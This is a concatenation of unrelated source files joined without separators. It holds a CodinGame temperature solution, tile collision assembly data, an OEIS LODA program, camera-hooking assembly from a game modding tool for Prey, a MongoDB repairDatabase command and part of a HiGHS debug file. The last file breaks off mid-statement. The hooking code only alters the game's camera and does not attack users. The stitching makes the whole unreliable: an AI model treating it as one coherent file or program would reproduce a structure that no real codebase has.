#include <iostream> #include <bits/stdc++.h> #define ll long long using namespace std; #include <ext/pb_ds/assoc_container.hpp> #include <ext/pb_ds/tree_policy.hpp> #define popCount(x) __builtin_popcountll(x) using namespace __gnu_pbds; /** * Auto-generated code below aims at helping you parse * the standard input according to the problem statement. **/ int main() { int n; // the number of temperatures to analyse cin >> n; cin.ignore(); int ans = INT_MAX ; for (int i = 0; i < n; i++) { int t; // a temperature expressed as an integer ranging from -273 to 5526 cin >> t; cin.ignore(); if ( abs(t) < abs(ans) ) ans = t ; else if (abs (t) == abs (ans) && t > ans) ans =t; } // Write an answer using cout. DON'T FORGET THE "<< endl" // To debug: cerr << "Debug messages..." << endl; ans = ( n==0 ? 0 : ans ); cout<<ans<<endl; }
#pragma once #include "Common.hpp" #define Interface class #define implements public
tilecoll WALL, WALL, WALL, WALL ; 00 tilecoll WALL, WALL, WALL, WALL ; 01 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 02 tilecoll WALL, WALL, TV, BOOKSHELF ; 03 tilecoll WALL, WALL, FLOOR, FLOOR ; 04 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 05 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 06 tilecoll WALL, WALL, FLOOR, FLOOR ; 07 tilecoll WALL, WALL, FLOOR, FLOOR ; 08 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 09 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0a tilecoll WALL, WALL, FLOOR, FLOOR ; 0b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0c tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0d tilecoll WALL, WALL, FLOOR, FLOOR ; 0e tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0f tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 10 tilecoll WALL, WALL, FLOOR, FLOOR ; 11 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 12 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 13 tilecoll WALL, WALL, FLOOR, FLOOR ; 14 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 15 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 16 tilecoll WALL, WALL, FLOOR, FLOOR ; 17 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 18 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 19 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1a tilecoll WALL, FLOOR, WALL, FLOOR ; 1b tilecoll WALL, FLOOR, WALL, FLOOR ; 1c tilecoll WALL, FLOOR, WALL, FLOOR ; 1d tilecoll WALL, FLOOR, WALL, FLOOR ; 1e tilecoll TOWN_MAP, STAIRCASE, FLOOR, FLOOR ; 1f tilecoll FLOOR, WALL, FLOOR, FLOOR ; 20 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 21 tilecoll FLOOR, WALL, FLOOR, WALL ; 22 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 23 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 24 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 25 tilecoll WALL, FLOOR, WALL, FLOOR ; 26 tilecoll WALL, STAIRCASE, FLOOR, FLOOR ; 27 tilecoll FF, FF, FF, FF ; 28 tilecoll FF, FF, FF, FF ; 29 tilecoll FF, FF, FF, FF ; 2a tilecoll FF, FF, FF, FF ; 2b tilecoll FF, FF, FF, FF ; 2c tilecoll FF, FF, FF, FF ; 2d tilecoll FF, FF, FF, FF ; 2e tilecoll FF, FF, FF, FF ; 2f tilecoll FF, FF, FF, FF ; 30 tilecoll FF, FF, FF, FF ; 31 tilecoll FF, FF, FF, FF ; 32 tilecoll FF, FF, FF, FF ; 33 tilecoll FF, FF, FF, FF ; 34 tilecoll FF, FF, FF, FF ; 35 tilecoll FF, FF, FF, FF ; 36 tilecoll FF, FF, FF, FF ; 37 tilecoll FF, FF, FF, FF ; 38 tilecoll FF, FF, FF, FF ; 39 tilecoll FF, FF, FF, FF ; 3a tilecoll FF, FF, FF, FF ; 3b tilecoll FF, FF, FF, FF ; 3c tilecoll FF, FF, FF, FF ; 3d tilecoll FF, FF, FF, FF ; 3e tilecoll FF, FF, FF, FF ; 3f
; A232091: Smallest square or promic (oblong) number greater than or equal to n. ; 0,1,2,4,4,6,6,9,9,9,12,12,12,16,16,16,16,20,20,20,20,25,25,25,25,25,30,30,30,30,30,36,36,36,36,36,36,42,42,42,42,42,42,49,49,49,49,49,49,49,56,56,56,56,56,56,56,64,64,64,64,64,64,64,64,72,72,72,72,72,72,72,72,81,81,81,81,81,81,81,81,81,90,90,90,90,90,90,90,90,90,100,100,100,100,100,100,100,100,100 mov $2,1 mov $3,$0 lpb $2 mov $1,$3 sub $2,1 mov $4,2 lpb $4 mov $0,$1 trn $0,1 seq $0,143730 ; a(n) = A141616(n) - A100181(n). sub $0,1 pow $0,2 sub $4,1 mov $5,$0 sub $5,16 div $5,8 add $5,2 lpe min $1,1 mul $1,$5 lpe div $1,2 mov $0,$1
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2017, Frans Bouma ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions are met : ;// ;// * Redistributions of source code must retain the above copyright notice, this ;// list of conditions and the following disclaimer. ;// ;// * Redistributions in binary form must reproduce the above copyright notice, ;// this list of conditions and the following disclaimer in the documentation ;// and / or other materials provided with the distribution. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;--------------------------------------------------------------- ; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc. ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Public definitions so the linker knows which names are present in this file PUBLIC cameraStructInterceptor PUBLIC cameraWrite1Interceptor PUBLIC cameraWrite2Interceptor PUBLIC cameraWrite3Interceptor PUBLIC fovReadInterceptor ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Externs which are used and set by the system. Read / write these ; values in asm to communicate with the system EXTERN g_cameraEnabled: byte EXTERN g_cameraStructAddress: qword EXTERN g_fovConstructAddress: qword EXTERN g_timestopStructAddress: qword ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Own externs, defined in InterceptorHelper.cpp EXTERN _cameraStructInterceptionContinue: qword EXTERN _cameraWrite1InterceptionContinue: qword EXTERN _cameraWrite2InterceptionContinue: qword EXTERN _cameraWrite3InterceptionContinue: qword EXTERN _fovReadInterceptionContinue: qword EXTERN _timestopInterceptionContinue: qword .data ;--------------------------------------------------------------- ; Scratch pad ; player intercept. Is matrix (3x4, where the the coords are the lower row, write like this: ;--------------------------------------------------------------- ; Blocks used by camera tools, not by this .asm file, blocks are used in AOB scans to obtain RIP relative addresses (see commments below) ; Supersampling read ; patch v1.0.3 ;0000000140FC3FF0 | 41 F7 F8 | idiv r8d << START OF AOB BLOCK ;0000000140FC3FF3 | 44 8B C0 | mov r8d,eax ;0000000140FC3FF6 | 8B C1 | mov eax,ecx ;0000000140FC3FF8 | 8B 0D 7A E7 4E 01 | mov ecx,dword ptr ds:[1424B2778] << Supersampling read ;0000000140FC3FFE | 99 | cdq ;0000000140FC3FFF | F7 FF | idiv edi ;0000000140FC4001 | 44 3B C0 | cmp r8d,eax ;0000000140FC4004 | 41 0F 4C C0 | cmovl eax,r8d ;0000000140FC4008 | 83 F9 01 | cmp ecx,1 ;0000000140FC400B | 7D 07 | jge prey_dump.140FC4014 ;0000000140FC400D | B8 01 00 00 00 | mov eax,1 ;0000000140FC4012 | EB 05 | jmp prey_dump.140FC4019 ;0000000140FC4014 | 3B C8 | cmp ecx,eax ;0000000140FC4016 | 0F 4C C1 | cmovl eax,ecx ;0000000140FC4019 | 39 83 F4 F3 00 00 | cmp dword ptr ds:[rbx+F3F4],eax ;0000000140FC401F | 74 13 | je prey_dump.140FC4034 ;0000000140FC4021 | 89 83 F4 F3 00 00 | mov dword ptr ds:[rbx+F3F4],eax ;0000000140FC4027 | B0 01 | mov al,1 ;0000000140FC4029 | 48 8B 5C 24 30 | mov rbx,qword ptr ss:[rsp+30] ;0000000140FC402E | 48 83 C4 20 | add rsp,20 ;0000000140FC4032 | 5F | pop rdi ;0000000140FC4033 | C3 | ret ;0000000140FC4034 | 32 C0 | xor al,al ;0000000140FC4036 | 48 8B 5C 24 30 | mov rbx,qword ptr ss:[rsp+30] ;0000000140FC403B | 48 83 C4 20 | add rsp,20 ;0000000140FC403F | 5F | pop rdi ;0000000140FC4040 | C3 | ret ; ; sys_flash cvar read (for hud toggle) ; v1.0.3 ;0000000146F06D30 | 48 89 74 24 10 | mov qword ptr ss:[rsp+10],rsi ;0000000146F06D35 | 57 | push rdi ;0000000146F06D36 | 48 83 EC 20 | sub rsp,20 ;0000000146F06D3A | 83 3D 2B 46 48 FB 00 | cmp dword ptr ds:[14238B36C],0 << sys_flash read << START OF AOB BLOCK ;0000000146F06D41 | 0F B6 F2 | movzx esi,dl ;0000000146F06D44 | 48 89 CF | mov rdi,rcx ;0000000146F06D47 | 74 2E | je prey_dump.146F06D77 ;0000000146F06D49 | 48 8B 81 C8 00 00 00 | mov rax,qword ptr ds:[rcx+C8] ;0000000146F06D50 | 48 89 5C 24 30 | mov qword ptr ss:[rsp+30],rbx ;0000000146F06D55 | 48 8B 58 38 | mov rbx,qword ptr ds:[rax+38] ;0000000146F06D59 | 48 8B 01 | mov rax,qword ptr ds:[rcx] ;0000000146F06D5C | FF 10 | call qword ptr ds:[rax] ;0000000146F06D5E | 48 8B 03 | mov rax,qword ptr ds:[rbx] ;0000000146F06D61 | 48 8D 57 08 | lea rdx,qword ptr ds:[rdi+8] ;0000000146F06D65 | 44 0F B6 C6 | movzx r8d,sil ;0000000146F06D69 | 48 89 D9 | mov rcx,rbx ;0000000146F06D6C | FF 90 68 03 00 00 | call qword ptr ds:[rax+368] ;0000000146F06D72 | 48 8B 5C 24 30 | mov rbx,qword ptr ss:[rsp+30] ;0000000146F06D77 | 48 8B 74 24 38 | mov rsi,qword ptr ss:[rsp+38] ;0000000146F06D7C | 48 83 C4 20 | add rsp,20 ;0000000146F06D80 | 5F | pop rdi ;0000000146F06D81 | C3 | ret ; .code cameraStructInterceptor PROC ; Struct interceptor is also a write interceptor for coords/quaternion ; patch 1.0.2 ;Prey.exe+150E5DF - F3 0F11 4E 0C - movss [rsi+0C],xmm1 // quaternion << intercept here ;Prey.exe+150E5E4 - F3 0F11 56 10 - movss [rsi+10],xmm2 ;Prey.exe+150E5E9 - F3 0F11 5E 14 - movss [rsi+14],xmm3 ;Prey.exe+150E5EE - F3 0F11 46 18 - movss [rsi+18],xmm0 ;Prey.exe+150E5F3 - F3 0F11 3E - movss [rsi],xmm7 // coords ;Prey.exe+150E5F7 - F3 0F11 76 04 - movss [rsi+04],xmm6 ;Prey.exe+150E5FC - F3 44 0F11 46 08 - movss [rsi+08],xmm8 ;Prey.exe+150E602 - E8 8946D5FF - call Prey.exe+1262C90 << continue here ; This function intercepts the camera address and also blocks the writes by reading from our own two structs. mov [g_cameraStructAddress], rsi cmp byte ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: movss dword ptr [rsi+0Ch],xmm1 ; quaternion (x/y/z/w) movss dword ptr [rsi+10h],xmm2 movss dword ptr [rsi+14h],xmm3 movss dword ptr [rsi+18h],xmm0 movss dword ptr [rsi],xmm7 ; coords movss dword ptr [rsi+04h],xmm6 movss dword ptr [rsi+08h],xmm8 exit: jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraStructInterceptor ENDP cameraWrite1Interceptor PROC ; patch 1.0.2 ;Prey.exe+386A10 - 8B 02 - mov eax,[rdx] << INTERCEPT HERE ;Prey.exe+386A12 - 89 01 - mov [rcx],eax // coords ;Prey.exe+386A14 - 8B 42 04 - mov eax,[rdx+04] ;Prey.exe+386A17 - 89 41 04 - mov [rcx+04],eax ;Prey.exe+386A1A - 8B 42 08 - mov eax,[rdx+08] ;Prey.exe+386A1D - 89 41 08 - mov [rcx+08],eax ;Prey.exe+386A20 - 8B 42 0C - mov eax,[rdx+0C] ;Prey.exe+386A23 - 89 41 0C - mov [rcx+0C],eax // qX ;Prey.exe+386A26 - 8B 42 10 - mov eax,[rdx+10] ;Prey.exe+386A29 - 89 41 10 - mov [rcx+10],eax ;Prey.exe+386A2C - 8B 42 14 - mov eax,[rdx+14] ;Prey.exe+386A2F - 89 41 14 - mov [rcx+14],eax ;Prey.exe+386A32 - 8B 42 18 - mov eax,[rdx+18] ;Prey.exe+386A35 - 89 41 18 - mov [rcx+18],eax // qW ;Prey.exe+386A38 - 8B 42 1C - mov eax,[rdx+1C] ;Prey.exe+386A3B - 89 41 1C - mov [rcx+1C],eax << CONTINUE HERE ;Prey.exe+386A3E - 8B 42 20 - mov eax,[rdx+20] ;Prey.exe+386A41 - 89 41 20 - mov [rcx+20],eax ;Prey.exe+386A44 - 8B 42 24 - mov eax,[rdx+24] ;Prey.exe+386A47 - 89 41 24 - mov [rcx+24],eax ;Prey.exe+386A4A - 8B 42 28 - mov eax,[rdx+28] ;Prey.exe+386A4D - 89 41 28 - mov [rcx+28],eax ;Prey.exe+386A50 - 8B 42 2C - mov eax,[rdx+2C] ;Prey.exe+386A53 - 89 41 2C - mov [rcx+2C],eax ;Prey.exe+386A56 - 8B 42 30 - mov eax,[rdx+30] ;Prey.exe+386A59 - 89 41 30 - mov [rcx+30],eax ;Prey.exe+386A5C - 8B 42 34 - mov eax,[rdx+34] ;Prey.exe+386A5F - 89 41 34 - mov [rcx+34],eax ;Prey.exe+386A62 - 0FB6 42 38 - movzx eax,byte ptr [rdx+38] ;Prey.exe+386A66 - 88 41 38 - mov [rcx+38],al ;Prey.exe+386A69 - 0FB6 42 39 - movzx eax,byte ptr [rdx+39] ;Prey.exe+386A6D - 88 41 39 - mov [rcx+39],al cmp byte ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes originalCode: mov eax,[rdx] mov [rcx],eax mov eax,[rdx+04h] mov [rcx+04h],eax mov eax,[rdx+08h] mov [rcx+08h],eax mov eax,[rdx+0Ch] mov [rcx+0Ch],eax mov eax,[rdx+10h] mov [rcx+10h],eax mov eax,[rdx+14h] mov [rcx+14h],eax mov eax,[rdx+18h] mov [rcx+18h],eax exit: jmp qword ptr [_cameraWrite1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite1Interceptor ENDP cameraWrite2Interceptor PROC ; coord write intercept is broken up in two blocks as it has a relative read in the middle.... WHY is that statement placed at that spot! ;Prey.AK::Monitor::PostCode+24A38A - F3 44 0F58 68 04 - addss xmm13,[rax+04] << INTERCEPT HERE ;Prey.AK::Monitor::PostCode+24A390 - F3 44 0F58 20 - addss xmm12,[rax] ;Prey.AK::Monitor::PostCode+24A395 - F3 44 0F58 70 08 - addss xmm14,[rax+08] ;Prey.AK::Monitor::PostCode+24A39B - F3 44 0F11 67 1C - movss [rdi+1C],xmm12 // write x ;Prey.AK::Monitor::PostCode+24A3A1 - F3 44 0F11 6F 20 - movss [rdi+20],xmm13 // write y ;Prey.AK::Monitor::PostCode+24A3A7 - F3 44 0F10 2D 08DAC401 - movss xmm13,[Prey.CreateAudioInputSource+51B6B8] << CONTINUE HERE addss xmm13, dword ptr [rax+04h] ; original statement addss xmm12, dword ptr [rax] addss xmm14, dword ptr [rax+08h] cmp byte ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je exit ; our own camera is enabled, just skip the writes movss dword ptr [rdi+1Ch],xmm12 movss dword ptr [rdi+20h],xmm13 exit: jmp qword ptr [_cameraWrite2InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite2Interceptor ENDP cameraWrite3Interceptor PROC ;Prey.AK::Monitor::PostCode+24A3B0 - F3 44 0F11 77 24 - movss [rdi+24],xmm14 << INTERCEPT HERE, write Z ;Prey.AK::Monitor::PostCode+24A3B6 - F3 0F10 8D 88000000 - movss xmm1,[rbp+00000088] ;Prey.AK::Monitor::PostCode+24A3BE - 48 8D 4F 1C - lea rcx,[rdi+1C] ;Prey.AK::Monitor::PostCode+24A3C2 - E8 79410000 - call Prey.AK::Monitor::PostCode+24E540 << CONTINUE HERE cmp byte ptr [g_cameraEnabled], 1 ; check if the user enabled the camera. If so, just skip the write statements, otherwise just execute the original code. je noWrite ; our own camera is enabled, just skip the writes movss dword ptr [rdi+24h],xmm14 noWrite: movss xmm1, dword ptr [rbp+00000088h] lea rcx,[rdi+1Ch] exit: jmp qword ptr [_cameraWrite3InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite3Interceptor ENDP timestopInterceptor PROC ; start of function which contains timestop read. Contains CryAction instance (with m_pause) in rcx ;Prey.exe+5D6AD0 - 48 89 5C 24 10 - mov [rsp+10],rbx <<< INTERCEPT HERE ;Prey.exe+5D6AD5 - 48 89 6C 24 18 - mov [rsp+18],rbp ;Prey.exe+5D6ADA - 48 89 74 24 20 - mov [rsp+20],rsi ;Prey.exe+5D6ADF - 57 - push rdi <<< CONTINUE HERE ;Prey.exe+5D6AE0 - 41 54 - push r12 ;Prey.exe+5D6AE2 - 41 55 - push r13 ;Prey.exe+5D6AE4 - 41 56 - push r14 ;Prey.exe+5D6AE6 - 41 57 - push r15 ;... ;Prey.exe+5D6C99 - 74 09 - je Prey.exe+5D6CA4 ;Prey.exe+5D6C9B - 44 38 6B 08 - cmp [rbx+08],r13l <<< TImestop read ;Prey.exe+5D6C9F - 75 03 - jne Prey.exe+5D6CA4 ;Prey.exe+5D6CA1 - 45 8B FD - mov r15d,r13d ; mov [g_timestopStructAddress], rcx originalCode: mov [rsp+10h],rbx mov [rsp+18h],rbp mov [rsp+20h],rsi exit: jmp qword ptr [_timestopInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. timestopInterceptor ENDP fovReadInterceptor PROC ;Prey.exe+1511CAE - F3 0F10 4B 18 - movss xmm1,[rbx+18] ;Prey.exe+1511CB3 - 48 8B 05 26D9EF00 - mov rax,[Prey.exe+240F5E0] { [2ED22CE0] } ;Prey.exe+1511CBA - F3 0F5C C8 - subss xmm1,xmm0 ;Prey.exe+1511CBE - F3 0F10 05 F256AC00 - movss xmm0,[Prey.exe+1FD73B8] { [1.00] } ;Prey.exe+1511CC6 - F3 0F58 48 08 - addss xmm1,[rax+08] << INTERCEPT HERE. FOV Read ;Prey.exe+1511CCB - 0F2F C8 - comiss xmm1,xmm0 ;Prey.exe+1511CCE - 76 03 - jna Prey.exe+1511CD3 ;Prey.exe+1511CD0 - 0F28 C1 - movaps xmm0,xmm1 ;Prey.exe+1511CD3 - 48 83 C4 20 - add rsp,20 { 32 } ;Prey.exe+1511CD7 - 5B - pop rbx << CONTINUE HERE ;Prey.exe+1511CD8 - C3 - ret mov [g_fovConstructAddress], rax originalCode: addss xmm1, dword ptr [rax+08h] comiss xmm1,xmm0 jna noMove movaps xmm0,xmm1 noMove: add rsp, 20h exit: jmp qword ptr [_fovReadInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. fovReadInterceptor ENDP END
/** * Copyright (C) 2015 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the GNU Affero General Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #include "mongo/platform/basic.h" #include "mongo/s/commands/run_on_all_shards_cmd.h" namespace mongo { namespace { class ClusterRepairDatabaseCmd : public RunOnAllShardsCommand { public: ClusterRepairDatabaseCmd() : RunOnAllShardsCommand("repairDatabase") {} virtual void addRequiredPrivileges(const std::string& dbname, const BSONObj& cmdObj, std::vector<Privilege>* out) { ActionSet actions; actions.addAction(ActionType::repairDatabase); out->push_back(Privilege(ResourcePattern::forDatabaseName(dbname), actions)); } virtual bool supportsWriteConcern(const BSONObj& cmd) const override { return false; } } clusterRepairDatabaseCmd; } // namespace } // namespace mongo
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* */ /* This file is part of the HiGHS linear optimization suite */ /* */ /* Written and engineered 2008-2022 at the University of Edinburgh */ /* */ /* Available as open-source under the MIT License */ /* */ /* Authors: Julian Hall, Ivet Galabova, Leona Gottwald and Michael */ /* Feldmeier */ /* */ /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /**@file util/HFactorDebug.cpp * @brief */ #include "util/HFactorDebug.h" #include <algorithm> #include <cmath> #include "util/HVector.h" #include "util/HVectorBase.h" #include "util/HighsRandom.h" using std::fabs; using std::max; using std::min; void debugReportRankDeficiency( const HighsInt call_id, const HighsInt highs_debug_level, const HighsLogOptions& log_options, const HighsInt num_row, const vector<HighsInt>& permute, const vector<HighsInt>& iwork, const HighsInt* basic_index, const HighsInt rank_deficiency, const vector<HighsInt>& row_with_no_pivot, const vector<HighsInt>& col_with_no_pivot) { if (highs_debug_level == kHighsDebugLevelNone) return; if (call_id == 0) { if (num_row > 123) return; highsLogDev(log_options, HighsLogType::kWarning, "buildRankDeficiency0:"); highsLogDev(log_options, HighsLogType::kWarning, "\nIndex "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\nPerm "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", permute[i]); highsLogDev(log_options, HighsLogType::kWarning, "\nIwork "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", iwork[i]); highsLogDev(log_options, HighsLogType::kWarning, "\nBaseI "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", basic_index[i]); highsLogDev(log_options, HighsLogType::kWarning, "\n"); } else if (call_id == 1) { if (rank_deficiency > 100) return; highsLogDev(log_options, HighsLogType::kWarning, "buildRankDeficiency1:"); highsLogDev(log_options, HighsLogType::kWarning, "\nIndex "); for (HighsInt i = 0; i < rank_deficiency; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\nrow_with_no_pivot "); for (HighsInt i = 0; i < rank_deficiency; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", row_with_no_pivot[i]); highsLogDev(log_options, HighsLogType::kWarning, "\ncol_with_no_pivot "); for (HighsInt i = 0; i < rank_deficiency; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", col_with_no_pivot[i]); highsLogDev(log_options, HighsLogType::kWarning, "\n"); if (num_row > 123) return; highsLogDev(log_options, HighsLogType::kWarning, "Index "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\nIwork "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", iwork[i]); highsLogDev(log_options, HighsLogType::kWarning, "\n"); } else if (call_id == 2) { if (num_row > 123) return; highsLogDev(log_options, HighsLogType::kWarning, "buildRankDeficiency2:"); highsLogDev(log_options, HighsLogType::kWarning, "\nIndex "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\nPerm "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", permute[i]); highsLogDev(log_options, HighsLogType::kWarning, "\n"); } } void debugReportRankDeficientASM( const HighsInt highs_debug_level, const HighsLogOptions& log_options, const HighsInt num_row, const vector<HighsInt>& mc_start, const vector<HighsInt>& mc_count_a, const vector<HighsInt>& mc_index, const vector<double>& mc_value, const vector<HighsInt>& iwork, const HighsInt rank_deficiency, const vector<HighsInt>& col_with_no_pivot, const vector<HighsInt>& row_with_no_pivot) { if (highs_debug_level == kHighsDebugLevelNone) return; if (rank_deficiency > 10) return; double* ASM; ASM = (double*)malloc(sizeof(double) * rank_deficiency * rank_deficiency); for (HighsInt i = 0; i < rank_deficiency; i++) { for (HighsInt j = 0; j < rank_deficiency; j++) { ASM[i + j * rank_deficiency] = 0; } } for (HighsInt j = 0; j < rank_deficiency; j++) { HighsInt ASMcol = col_with_no_pivot[j]; HighsInt start = mc_start[ASMcol]; HighsInt end = start + mc_count_a[ASMcol]; for (HighsInt en = start; en < end; en++) { HighsInt ASMrow = mc_index[en]; HighsInt i = -iwork[ASMrow] - 1; if (i < 0 || i >= rank_deficiency) { highsLogDev(log_options, HighsLogType::kWarning, "STRANGE: 0 > i = %" HIGHSINT_FORMAT " || %" HIGHSINT_FORMAT " = i >= rank_deficiency = %" HIGHSINT_FORMAT "\n", i, i, rank_deficiency); } else { if (row_with_no_pivot[i] != ASMrow) { highsLogDev(log_options, HighsLogType::kWarning, "STRANGE: %" HIGHSINT_FORMAT " = row_with_no_pivot[i] != ASMrow = %" HIGHSINT_FORMAT "\n", row_with_no_pivot[i], ASMrow); } highsLogDev(log_options, HighsLogType::kWarning, "Setting ASM(%2" HIGHSINT_FORMAT ", %2" HIGHSINT_FORMAT ") = %11.4g\n", i, j, mc_value[en]); ASM[i + j * rank_deficiency] = mc_value[en]; } } } highsLogDev(log_options, HighsLogType::kWarning, "ASM: "); for (HighsInt j = 0; j < rank_deficiency; j++) highsLogDev(log_options, HighsLogType::kWarning, " %11" HIGHSINT_FORMAT "", j); highsLogDev(log_options, HighsLogType::kWarning, "\n "); for (HighsInt j = 0; j < rank_deficiency; j++) highsLogDev(log_options, HighsLogType::kWarning, " %11" HIGHSINT_FORMAT "", col_with_no_pivot[j]); highsLogDev(log_options, HighsLogType::kWarning, "\n "); for (HighsInt j = 0; j < rank_deficiency; j++) highsLogDev(log_options, HighsLogType::kWarning, "------------"); highsLogDev(log_options, HighsLogType::kWarning, "\n"); for (HighsInt i = 0; i < rank_deficiency; i++) { highsLogDev(log_options, HighsLogType::kWarning, "%11" HIGHSINT_FORMAT " %11" HIGHSINT_FORMAT "|", i, row_with_no_pivot[i]); for (HighsInt j = 0; j < rank_deficiency; j++) { highsLogDev(log_options, HighsLogType::kWarning, " %11.4g", ASM[i + j * rank_deficiency]); } highsLogDev(log_options, HighsLogType::kWarning, "\n"); } free(ASM); } void debugReportMarkSingC(const HighsInt call_id, const HighsInt highs_debug_level, const HighsLogOptions& log_options, const HighsInt num_row, const vector<HighsInt>& iwork, const HighsInt* basic_index) { if (highs_debug_level == kHighsDebugLevelNone) return; if (num_row > 123) return; if (call_id == 0) { highsLogDev(log_options, HighsLogType::kWarning, "\nMarkSingC1"); highsLogDev(log_options, HighsLogType::kWarning, "\nIndex "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", i); highsLogDev(log_options, HighsLogType::kWarning, "\niwork "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", iwork[i]); highsLogDev(log_options, HighsLogType::kWarning, "\nBaseI "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" HIGHSINT_FORMAT "", basic_index[i]); } else if (call_id == 1) { highsLogDev(log_options, HighsLogType::kWarning, "\nMarkSingC2"); highsLogDev(log_options, HighsLogType::kWarning, "\nIndex "); for (HighsInt i = 0; i < num_row; i++) highsLogDev(log_options, HighsLogType::kWarning, " %2" 